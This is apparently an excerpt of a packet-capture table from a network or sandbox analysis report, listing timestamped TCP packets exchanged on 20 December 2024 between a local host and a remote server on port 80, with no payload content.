Dec 20, 2024 09:12:13.800100088 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.800896883 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.800945997 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.801026106 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.801310062 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.801913977 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.801960945 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.802026987 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.802073002 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.802917957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.802968979 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.802972078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.803033113 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.803848982 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.803896904 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.803977013 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.804023027 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.804841042 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.804887056 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.804966927 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.805013895 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.805807114 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.805860996 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.805866957 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.805903912 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.806768894 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.806818008 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.806926966 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.806977034 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.807776928 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.807822943 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.807904005 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.807943106 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.808789968 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.808837891 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.808906078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.808953047 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.809829950 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.809880018 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.809942007 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.809987068 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.810864925 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.810911894 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.810978889 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.811026096 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.811748028 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.811800003 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.811803102 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.811846018 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.812755108 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.812797070 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.812849998 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.812889099 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.813843966 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.813888073 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.813954115 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.814001083 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.814661980 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.814707994 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.814826965 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.814877033 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.815649033 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.815694094 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.815773964 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.815824032 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.816660881 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.816708088 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.816777945 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.816828966 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.817668915 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.817780018 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.817787886 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.817831039 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.818608999 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.818665028 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.818746090 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.818793058 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.819598913 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.819653034 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.819655895 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.819699049 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.820600033 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.820702076 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.820708990 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.820751905 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.821588993 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.821643114 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.821700096 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.821747065 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.822551012 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.822592974 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.822671890 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.822710991 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.823542118 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.823595047 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.823661089 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.823709011 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.824542046 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.824585915 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.824713945 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.824765921 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.825542927 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.825594902 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.825659037 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.825716019 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.826503992 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.826550007 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.826689959 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.826736927 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.827496052 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.827542067 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.827583075 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.827634096 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.828476906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.828525066 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.828583956 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.828625917 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.829507113 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.829555988 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.829601049 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.829649925 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.830426931 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.830476999 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.830523014 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.830566883 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.831403971 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.831448078 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.831609011 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.831656933 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.832370996 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.832413912 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.832494974 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.832535028 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.833558083 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.833594084 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.834400892 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.834537029 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.835412025 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.835532904 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.835630894 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.836498022 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.836534023 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.836565971 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.836604118 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.837330103 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.837383986 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.837461948 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.837502003 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.838287115 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.838332891 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.838388920 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.838428020 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.839272976 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.839325905 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.839368105 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.839409113 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.840241909 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.840281010 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.840322971 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.840395927 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.841243029 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.841284990 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.841376066 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.841414928 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.842209101 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.842247009 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.842299938 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.842335939 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.843185902 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.843226910 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.843400955 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.843440056 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.844177008 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.844212055 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.844274998 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.844312906 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.845398903 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.845436096 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.845474005 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.845511913 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.846101999 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.846137047 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.986851931 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.986907005 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.986917019 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.986958027 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.987301111 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.987348080 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.987525940 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.987571955 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.988404989 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.988459110 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.988492966 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.988540888 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.989331961 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.989379883 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.989430904 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.989483118 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.990221977 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.990279913 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.990355968 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.990410089 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.991214037 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.991295099 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.991343975 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.991391897 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.992208004 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.992263079 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.992419958 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.992469072 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.993187904 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.993237019 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.993318081 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.993370056 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.994175911 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.994227886 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.994292974 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.994344950 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.995129108 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.995187998 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.995270967 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.995341063 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.996253967 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.996299982 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.996365070 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.996413946 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.997117043 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.997164011 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.997208118 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.997253895 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.998131990 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.998186111 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.998253107 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.998292923 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.999113083 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.999164104 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.999301910 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.999352932 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.000210047 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.000255108 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.000313997 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.000360012 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.001091003 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.001142979 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.001147032 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.001192093 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.002043009 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.002093077 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.002154112 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.002204895 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.003057957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.003108978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.003113031 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.003150940 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.004004955 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.004051924 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.004060030 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.004110098 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.004998922 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.005053997 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.005103111 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.005156994 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.006001949 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.006056070 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.006057024 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.006104946 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.006958961 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.007010937 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.007077932 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.007139921 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.008003950 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.008054972 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.008193016 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.008244038 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.008951902 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.008996964 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.009063959 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.009109020 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.009923935 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.009975910 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.010044098 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.010092020 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.010884047 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.010931969 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.011013031 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.011063099 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.011869907 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.011920929 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.011990070 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.012037992 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.012865067 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.012912035 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.012981892 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.013025999 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.013833046 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.013875961 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.013947010 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.013998032 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.014839888 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.014889956 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.014951944 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.014996052 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.015777111 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.015832901 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.015913963 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.015963078 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.016817093 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.016865015 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.016915083 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.016959906 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.017769098 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.017817020 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.017988920 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.018038988 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.018764019 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.018811941 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.018848896 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.018896103 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.019783974 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.019839048 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.019870996 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.019886017 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.020790100 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.020840883 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.020885944 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.020935059 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.021740913 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.021791935 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.021858931 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.021908045 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.022753000 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.022803068 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.022893906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.022936106 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.023753881 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.023796082 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.023886919 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.023927927 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.024686098 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.024733067 CET	49759	80	192.168.2.4	31.41.244.11
